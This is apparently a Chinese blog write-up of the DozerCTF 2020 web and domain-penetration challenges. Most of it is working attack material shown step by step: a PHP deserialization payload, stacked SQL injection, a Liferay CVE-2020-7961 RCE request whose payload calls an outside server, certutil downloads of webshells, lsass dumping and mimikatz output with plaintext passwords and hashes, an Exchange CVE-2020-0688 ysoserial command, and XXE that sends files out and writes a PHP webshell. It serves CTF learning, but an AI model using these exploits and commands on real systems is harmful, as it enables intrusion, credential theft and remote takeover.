zoukankan      html  css  js  c++  java
  • DozerCTF-2020-Web-writeup

    本文首发于Leon的Blog,如需转载请注明原地址并联系作者

    真·签到

    下载下来是一个exe,打不开,拖进winhex发现:
    R00yVE1NWlRIRTJFRU5CWUdVM1RNUlJURzRaVEtOUllHNFpUTU9CV0lJM0RRTlJXRzQ0VE9OSlhHWTJET05aUkc1QVRPTUJUR0kyRUVNWlZHNDNUS05aWEc0MlRHTkpaR1pBVElNUldHNDNUT05KVUc0M0RPTUJXR0kyRUtOU0ZHTTRUT09CVUc0M0VFPT09Cgo=
    base64解码后:
    GM2TMMZTHE2EENBYGU3TMRRTG4ZTKNRYG4ZTMOBWII3DQNRWG44TONJXGY2DONZRG5ATOMBTGI2EEMZVG43TKNZXG42TGNJZGZATIMRWG43TONJUG43DOMBWGI2EKNSFGM4TOOBUG43EE===
    只有大写字母和数字应该是base32,解码后:
    3563394B48576F37356873686B686679757647717A70324B3577577753596A426777547670624E6E3978476B
    一般base32完是十六进制:
    5c9KHWo75hshkhfyuvGqzp2K5wWwSYjBgwTvpbNn9xGk
    由于Base58采用的字符集合为“123456789abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ”,从这不难看出,Base58是纯数字与字母组成而且去掉了容易引起视觉混淆的字符(0:数字零,O:大写O,I:大写i,l:小写L)。9个数字+49个字母=58个。
    所以猜测是base58:
    Dozerctf{base_family_is_so_good}

    白给的反序列化

    入门反序列化题
    源码:

    <?php
    
    class home
    {
        private $method;
        private $args;
        function __construct($method, $args)
        {
            $this->method = $method;
            $this->args = $args;
        }
    
        function __destruct()
        {
            if (in_array($this->method, array("mysys"))) {
                call_user_func_array(array($this, $this->method), $this->args);
            }
        }
    
        function mysys($path)
        {
            print_r(base64_encode(exec("cat $path")));
        }
        function waf($str)
        {
            if (strlen($str) > 8) {
                die("No");
            }
            return $str;
        }
    
        function __wakeup()
        {
            $num = 0;
            foreach ($this->args as $k => $v) {
                $this->args[$k] = $this->waf(trim($v));
                $num += 1;
                if ($num > 2) {
                    die("No");
                }
            }
        }
    }
    
    if ($_GET['path']) {
        $path = @$_GET['path'];
        unserialize($path);
    } else {
        highlight_file(__FILE__);
    
    }
    ?>
    

    poc:

    <?php
    //poc
    class home
    {
        private $method;
        private $args;
        function __construct($method, $args)
        {
            $this->method = $method;
            $this->args = $args;
        }
    
        function __destruct()
        {
            if (in_array($this->method, array("mysys"))) {
                call_user_func_array(array($this, $this->method), $this->args);
            }
        }
    
        function mysys($path)
        {
            print_r(base64_encode(exec("cat $path")));
        }
        function waf($str)
        {
            if (strlen($str) > 8) {
                die("No");
            }
            return $str;
        }
    
        function __wakeup()
        {
            $num = 0;
            foreach ($this->args as $k => $v) {
                $this->args[$k] = $this->waf(trim($v));
                $num += 1;
                if ($num > 2) {
                    die("No");
                }
            }
        }
    }
    $poc = new home("mysys",array("flag.php"));
    $a = urlencode(serialize($poc));
    print_r($a);
    serialize($a);
    ?> 
    

    payload:
    ?path=O%3A4%3A%22home%22%3A2%3A%7Bs%3A12%3A%22%00home%00method%22%3Bs%3A5%3A%22mysys%22%3Bs%3A10%3A%22%00home%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22flag.php%22%3B%7D%7D
    得到:PD9waHAgJGZsYWcgPSAnZmxhZ3tqNG5jOTIwZm04YjJ6MHIybWM3ZHNmODdzNjc4NWE2NzVzYTc3NnZkfSc7Pz4=
    base64:<?php $flag = 'flag{j4nc920fm8b2z0r2mc7dsf87s6785a675sa776vd}';?>

    sqli-labs 0

    根据hint将接下来sql注入的语句全部用url二次编码就行
    id=1' # 单引号注入,select被过滤,根据经验直接堆叠
    1';show databases;#
    1';show tables;#
    1';show columns from uziuzi;#
    1';handler uziuzi open;handler uziuzi read first;#
    回显得到flagflag{594cb6af684ad354b4a59ac496473990}

    简单域渗透-flag1

    利用CVE-2020-7961命令执行

    参考:Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)
    CVE-2020-7961 Liferay Portal 反序列化RCE分析

    漏洞说明

    这题入门漏洞很容易找到,而且网上复现的文章挺多
    该洞是个反序列化导致的rce,通过未授权访问其api传递json数据进行反序列化达到加载外部恶意class进而命令执行

    影响范围

    Liferay Portal 6.1.X
    Liferay Portal 6.2.X
    Liferay Portal 7.0.X
    Liferay Portal 7.1.X
    Liferay Portal 7.2.X

    环境搭建

    liferay-portal下载带tomcat的集成版,进入到liferay-ce-portal-7.2.0-ga1 omcat-9.0.17in目录,执行:.catalina.bat run等待一会就启动了,访问8080端口即可

    漏洞复现

    LifExp.java文件:

    public class LifExp { 
        static { 
            try { 
                String[] cmd = {"cmd.exe", "/c", "calc.exe"};
                java.lang.Runtime.getRuntime().
    exec(cmd).waitFor(); 
            } catch ( Exception e ) { 
                e.printStackTrace(); 
            } 
        } 
    }
    
    • 将LifExp.java放在vps上,因为需要靶机能访问到,使用javac LifExp.java生成LifExp.class
    • 要构造payload还需要一个包:marshalsec-0.0.3-SNAPSHOT-all.jar
      我放到蓝奏云上了,有需要自行下载
    • 使用java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://ip:port/ LifExp生成序列化内容(这里的ip是你提供恶意class的vps)
    • 在vps上使用python3 -m http.server 8500在当前目录启动端口8500的web服务
    • 用bp发包:
    POST /api/jsonws/invoke HTTP/1.1
    Host: 127.0.0.1:8080
    Content-Length: 1349
    Content-Type: application/x-www-form-urlencoded
    Connection: close
    
    cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&defaultData%3Acom.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c6966457870740019687474703a2f2f35392e3131302e3135372e343a383530302f740003466f6f;"}
    
    • WrapperConnectionPoolDataSource=后面的内容换成marshalsec生成的序列化内容

      成功弹出计算器,(计算器也很无奈)

    利用certutil进行远程下载webshell

    • certutil和bitsadmin都可以进行远程http请求,本地用:
    certutil.exe -urlcache -split -f "http://ip:8500/leon.txt“ leon.txt
    

    bitsadmin /rawreturn /transfer down 'http://ip:8500/leon.txt' D:leon.txt
    

    都可以成功远程下载文件

    • LifExp.java中需要构造一下:
    String[] cmd = {"cmd.exe", "/c", "certutil.exe -urlcache -split -f", "http://ip:8500/cmdcmd.jsp", "..\webapps\ROOT\cmdcmd.jsp"};
    

    cmdcmd.jsp是webshell,经过本地测试执行命令的当前路径在liferay-ce-portal-7.2.0-ga1 omcat-9.0.17in
    所以需要目录穿越到index.jsp的文件夹,(这里智障了,以为java不能直接访问到没有进行目录映射的jsp,就一直没写文件到这个目录)

    • 然后一样的步骤,生成class文件,post包发过去,就成功在index.jsp目录写入了webshell,蚁剑直接连接即可(有些webshell蚁剑不能连)

    flag在桌面C:/Users/root/Desktop/flag.txt
    Dozerctf{a993e8ce377e05b2cbfa460e43e43757}

    • 方便后续操作可以写个jsp反弹shell

    简单域渗透-flag2

    先进行简单信息收集,列出域信任关系:

    nltest /domain_trusts

    环境为单域,查看ip信息,一般dns服务器就是dc:
    ipconfig /all:

    C:Users
    oot>ipconfig /all
    
    Windows IP ����
    
       ������  . . . . . . . . . . . . . : Dozer-dmz01
       �� DNS ��׺ . . . . . . . . . . . : dozer.org
       �ڵ�����  . . . . . . . . . . . . : ���
       IP ·�������� . . . . . . . . . . : ��
       WINS ���������� . . . . . . . . . : ��
       DNS ��׺�����б�  . . . . . . . . : dozer.org
    
    ��̫�������� Ethernet0:
    
       �����ض��� DNS ��׺ . . . . . . . : 
       ����. . . . . . . . . . . . . . . : Intel(R) 82574L ǧ����������
       �����ַ. . . . . . . . . . . . . : 00-0C-29-20-FC-D5
       DHCP ������ . . . . . . . . . . . : ��
       �Զ�����������. . . . . . . . . . : ��
       �������� IPv6 ��ַ. . . . . . . . : fe80::956d:4a99:42e5:44e6%12(��ѡ) 
       IPv4 ��ַ . . . . . . . . . . . . : 10.10.10.2(��ѡ) 
       ��������  . . . . . . . . . . . . : 255.255.255.0
       Ĭ������. . . . . . . . . . . . . : 
       DHCPv6 IAID . . . . . . . . . . . : 251661353
       DHCPv6 �ͻ��� DUID  . . . . . . . : 00-01-00-01-26-49-C3-BF-00-0C-29-20-FC-D5
       DNS ������  . . . . . . . . . . . : 10.10.10.3
       TCPIP �ϵ� NetBIOS  . . . . . . . : ������
    
    ��̫�������� Ethernet1:
    
       �����ض��� DNS ��׺ . . . . . . . : 
       ����. . . . . . . . . . . . . . . : Intel(R) 82574L ǧ���������� #2
       �����ַ. . . . . . . . . . . . . : 00-0C-29-20-FC-DF
       DHCP ������ . . . . . . . . . . . : ��
       �Զ�����������. . . . . . . . . . : ��
       �������� IPv6 ��ַ. . . . . . . . : fe80::d543:1779:2299:609%15(��ѡ) 
       IPv4 ��ַ . . . . . . . . . . . . : 192.168.150.73(��ѡ) 
       ��������  . . . . . . . . . . . . : 255.255.255.0
       �����Լ��ʱ��  . . . . . . . . . : 2020��6��14�� 23:42:47
       ��Լ���ڵ�ʱ��  . . . . . . . . . : 2020��6��17�� 23:42:54
       Ĭ������. . . . . . . . . . . . . : 192.168.150.200
       DHCP ������ . . . . . . . . . . . : 192.168.150.200
       DHCPv6 IAID . . . . . . . . . . . : 352324649
       DHCPv6 �ͻ��� DUID  . . . . . . . : 00-01-00-01-26-49-C3-BF-00-0C-29-20-FC-D5
       DNS ������  . . . . . . . . . . . : 192.168.150.200
       TCPIP �ϵ� NetBIOS  . . . . . . . : ������
    
    ��������� isatap.{CFE9BA1B-E288-4FFB-9749-199C2D5515CE}:
    
       ý��״̬  . . . . . . . . . . . . : ý���ѶϿ�
       �����ض��� DNS ��׺ . . . . . . . : 
       ����. . . . . . . . . . . . . . . : Microsoft ISATAP Adapter #2
       �����ַ. . . . . . . . . . . . . : 00-00-00-00-00-00-00-E0
       DHCP ������ . . . . . . . . . . . : ��
       �Զ�����������. . . . . . . . . . : ��
    
    ��������� isatap.{2D498A64-8D75-4BA5-964D-611E32EF20B3}:
    
       �����ض��� DNS ��׺ . . . . . . . : 
       ����. . . . . . . . . . . . . . . : Microsoft ISATAP Adapter #4
       �����ַ. . . . . . . . . . . . . : 00-00-00-00-00-00-00-E0
       DHCP ������ . . . . . . . . . . . : ��
       �Զ�����������. . . . . . . . . . : ��
       �������� IPv6 ��ַ. . . . . . . . : fe80::5efe:192.168.150.73%17(��ѡ) 
       Ĭ������. . . . . . . . . . . . . : 
       DNS ������  . . . . . . . . . . . : 192.168.150.200
       TCPIP �ϵ� NetBIOS  . . . . . . . : �ѽ���
    
    

    可以看到几个两个网段,根据经验,一个192.168.150.x应该是宿主机所在ip段,不用管,所以另外的10.10.10.x段应该是虚拟机内部网段
    10.10.10.2是本机,所以一般DNS服务器10.10.10.3就是DC

    获取本机hash

    先下载mimikatz
    reg save hklmsam sam
    reg save hklmsystem system
    然后下载到本地使用mimikatz:


    得到root也就是当前用户密码:P@ssw0rd

    • 直接尝试netstat -na发现3389端口开启,尝试用root用户登录
      首先得进行内网代理,使用reGeorg即可
      登录成功:

    转储内存抓域凭证:

    根据提示使用使用微软官方procdump.exe dump内存:
    直接使用certutil.exe -urlcache -split -f "http://ip:8500/procdump64.exe“ procdump64.exe即可
    然后procdump64.exe -accepteula -ma lsass.exe lsass.dmp

    然后执行:

    mimikatz # sekurlsa::minidump lsass.dmp
    Switch to MINIDUMP : 'lsass.dmp'
    
    mimikatz # sekurlsa::logonPasswords full
    Opening : 'lsass.dmp' file for minidump...
    
    Authentication Id : 0 ; 78250732 (00000000:04aa02ec)
    Session           : RemoteInteractive from 5
    User Name         : root
    Domain            : DOZER-DMZ01
    Logon Server      : DOZER-DMZ01
    Logon Time        : 2020/6/16 12:47:35
    SID               : S-1-5-21-1495210691-4001662545-2502461571-1001
            msv :
             [00000003] Primary
             * Username : root
             * Domain   : DOZER-DMZ01
             * LM       : 921988ba001dc8e14a3b108f3fa6cb6d
             * NTLM     : e19ccf75ee54e06b06a5907af13cef42
             * SHA1     : 9131834cf4378828626b1beccaa5dea2c46f9b63
            tspkg :
             * Username : root
             * Domain   : DOZER-DMZ01
             * Password : P@ssw0rd
            wdigest :
             * Username : root
             * Domain   : DOZER-DMZ01
             * Password : P@ssw0rd
            kerberos :
             * Username : root
             * Domain   : DOZER-DMZ01
             * Password : P@ssw0rd
            ssp :
            credman :
             [00000000]
             * Username : dozershark
             * Domain   : dozer-dc.dozer.org
             * Password : P@ssword
    
    Authentication Id : 0 ; 78236002 (00000000:04a9c962)
    Session           : Interactive from 5
    User Name         : DWM-5
    Domain            : Window Manager
    Logon Server      : (null)
    Logon Time        : 2020/6/16 12:47:32
    SID               : S-1-5-90-5
            msv :
             [00000003] Primary
             * Username : DOZER-DMZ01$
             * Domain   : DOZER
             * NTLM     : 0aede09a6722cd9c04eb892f5af27068
             * SHA1     : e668a6f212e2c5c8780685436732bb3d64a4e7f0
            tspkg :
             * Username : DOZER-DMZ01$
             * Domain   : DOZER
             * Password : eJ,e!-IVYX_2h %jR+pHL(vNi4kj=PqFY ywV-KX7l=`'oL^-S'h(6q+CzlU0F=>#)+OQ-wzUsk.;ciPQVa!Gtv"]oCNt"dJba<L6D2VT.e8bhFd^O@O$+i
            wdigest :
             * Username : DOZER-DMZ01$
             * Domain   : DOZER
             * Password : eJ,e!-IVYX_2h %jR+pHL(vNi4kj=PqFY ywV-KX7l=`'oL^-S'h(6q+CzlU0F=>#)+OQ-wzUsk.;ciPQVa!Gtv"]oCNt"dJba<L6D2VT.e8bhFd^O@O$+i
            kerberos :
             * Username : DOZER-DMZ01$
             * Domain   : dozer.org
             * Password : eJ,e!-IVYX_2h %jR+pHL(vNi4kj=PqFY ywV-KX7l=`'oL^-S'h(6q+CzlU0F=>#)+OQ-wzUsk.;ciPQVa!Gtv"]oCNt"dJba<L6D2VT.e8bhFd^O@O$+i
            ssp :
            credman :
    
    Authentication Id : 0 ; 77940254 (00000000:04a5461e)
    Session           : Interactive from 0
    User Name         : shark
    Domain            : DOZER
    Logon Server      : DOZER-DC
    Logon Time        : 2020/6/16 12:45:28
    SID               : S-1-5-21-341825-3789073605-4250195040-1109
            msv :
             [00000003] Primary
             * Username : shark
             * Domain   : DOZER
             * LM       : 921988ba001dc8e14a3b108f3fa6cb6d
             * NTLM     : e19ccf75ee54e06b06a5907af13cef42
             * SHA1     : 9131834cf4378828626b1beccaa5dea2c46f9b63
            tspkg :
             * Username : shark
             * Domain   : DOZER
             * Password : P@ssw0rd
            wdigest :
             * Username : shark
             * Domain   : DOZER
             * Password : P@ssw0rd
            kerberos :
             * Username : shark
             * Domain   : DOZER.ORG
             * Password : P@ssw0rd
            ssp :
            credman :
    

    发现shark用户的密码也是P@ssw0rd
    (其实可以直接操作这步拿root密码)

    使用dsquery导出域信息

    dsquery * /s 10.10.10.3 /u shark /p P@ssw0rd -attr * -limit 0 > leon.txt
    得到:leon
    根据提示搜索找到flag2:Dozerctf{3fed7db7fee7a1771b58d309bf9ca851}

    简单域渗透-flag3

    根据提示和拿到的域信息,找到EXCHANGE SERVERS组:

    cn: DOZER-EXCHANGE
    distinguishedName: CN=DOZER-EXCHANGE,CN=Computers,DC=dozer,DC=org
    instanceType: 4
    whenCreated: 05/13/2020 15:06:52
    whenChanged: 06/13/2020 09:49:14
    displayName: DOZER-EXCHANGE$
    uSNCreated: 16419
    memberOf: CN=Exchange Install Domain Servers,CN=Microsoft Exchange System Objects,DC=dozer,DC=org
    memberOf: CN=Managed Availability Servers,OU=Microsoft Exchange Security Groups,DC=dozer,DC=org
    memberOf: CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=dozer,DC=org
    memberOf: CN=Exchange Servers,OU=Microsoft Exchange Security Groups,DC=dozer,DC=org
    uSNChanged: 71171
    name: DOZER-EXCHANGE
    objectGUID: {E650C9C8-43EC-4B65-BD74-657ECD951421}
    userAccountControl: 4096
    

    得知提供EXCHANGE邮箱服务的机器名为DOZER-EXCHANGE

    • 可以使用ping或者nslookup机器名得到ip:

      所以定位到10.10.10.4
      使用用户名dozershark,密码P@ssw0rd登录,拿到flag3:
      Dozerctf{9b35c916c37b00f3359d49b6c9c99667}

    简单域渗透-flag4

    根据EXCHANGE的漏洞,搜索找到CVE-2020-0688

    参考:CVE-2020-0688 exchange远程代码执行漏洞复现
    ExchangeServer漏洞CVE-2020-0688复现

    简单复现

    我们需要四个参数:

    –validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF(默认,漏洞产生原因)
    
    –validationalg = SHA1(默认,漏洞产生原因)
    
    –generator=B97B4E27(基本默认)
    
    –viewstateuserkey = ASP.NET_SessionId(手工获取,变量,每次登陆都不一致)
    

    前两个值都是默认的,我们只需要找到后两个值即可

    获取viewstateuserkey

    登录后访问 /ecp/default.aspx,F12打开开发者工具栏,打开Network
    viewstateuserkey位于:default.aspx–>Headers–>ASP.NET_SessionId中:
    重新发送请求即可找到:

    获取generator值

    源码搜索__VIEWSTATEGENERATOR获取字段值:(这个值基本上也是相同的)

    使用ysoserial.exe生成序列化payload

    ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd.exe /c certutil.exe -urlcache -split -f http://ip/test.exe" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="247061cc-fb54-4d4e-bb66-233ffc8e3848" --isdebug -islegacy
    

    获得shell

    这里写一个msf马,因为这台机器没有杀软
    payload:

    https://ip/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTAT
    E=<ViewState>
    

    <ViewState>替换为ysoserial.exe生成的序列化内容并进行url编码:

    即图中红框位置

    访问获得shell,flag在桌面:Dozerctf{1193173239563ee49664b5e500f687ba}

    简单域渗透-flag5

    持续更新ing

    svgggggg!

    这题是一个盲打XXESSRF,关于SVG图片的漏洞可以参考:
    Anatomy of Scalable Vector Graphics (SVG) Attack Surface on the Web

    SVG,代表可扩展矢量图形是一种基于 XML 的矢量图像格式,用于二维图形,支持交互性和动画。SVG 图像及其行为在 XML 文本文件中定义。可以使用任何文本编辑器以及绘图软件创建和编辑它们。所有主要的现代 Web 浏览器都有 SVG 渲染支持。

    简单测试了一下发现没有回显,需要外带信息
    在vps上构造恶意svg和xml:
    xxx.svg:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE note [
    <!ENTITY % int SYSTEM "http://ip:8500/a.xml">
    %int;
    %all;
    %send;
    ]>
    <svg height="100" width="1000">
      <text x="10" y="20">&send;</text>
    </svg>
    
    

    a.xml:

    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/home/r1ck/.bash_history">
    
    <!ENTITY % all "<!ENTITY % send SYSTEM 'http://ip:8500/?%file;'>">
    

    根据提示拿到用户r1ck的操作记录:

    cd /app
    php -S 0.0.0.0:8080
    

    可以看到在8080端口有web服务,由于靶机是内网穿透出来的,所以我们不能直接访问到8080端口,只能利用xxe打ssrf

    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/">
    
    <!ENTITY % all "<!ENTITY % send SYSTEM 'http://59.110.157.4:8500/?%file;'>">
    

    得到:

    <!doctype html>
    <html>
    <head>
    <meta charset="UTF-8">
    <title>index</title>
    </head>
    Hi!
    You Find Me .
    Flag is nearby.
    <body>
    </body>
    </html>
    
    Array
    (
        [id] => 1
        [name] => test
    )
    

    发现是个sql注入,尝试注入发现列数为2,然后根据提示写shell
    要进行url编码

    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/?id=1%27%20union%20select%201,%27%3c?php%20system($%5fGET%5bcmd%5d)%3b?%3e%27%20into%20outfile%27/app/leon.php%27%23">
    
    <!ENTITY % all "<!ENTITY % send SYSTEM 'http://ip:8500/?%file;'>">
    

    shell语句部分也可以进行hex编码:

    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/?id=1%27%20union%20select%201,0x3c3f7068702073797374656d28245f4745545b636d645d293b3f3e%20into%20outfile%27/app/leon.php%27%23">
    
    <!ENTITY % all "<!ENTITY % send SYSTEM 'http://ip:8500/?%file;'>">
    

    写进去后直接利用即可:

    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/leon.php?cmd=ls">
    
    <!ENTITY % all "<!ENTITY % send SYSTEM 'http://ip:8500/?%file;'>">
    

    看到flag文件直接cat拿到flag

  • 相关阅读:
    用CSV文件读写数据的两种方式(转)
    利用PHP生成二维码(转)
    PHP实现微博的同步发送(转)
    php实现网页标签补全方法(转)
    php 下载远程图片 的几种方法(转)
    Masonry+Infinite-Scroll实现无刷新无分页完美瀑布流(转)
    分享一个jQuery动态网格布局插件:Masonry(转)
    js判断图片是否显示
    PHP写入文件用file_put_contents代替fwrite优点多多(转)
    PHP 更高效的字符长度判断方法(转)
  • 原文地址:https://www.cnblogs.com/clqnotes/p/DozerCTF-2020-Web-writeup.html
Copyright © 2011-2022 走看看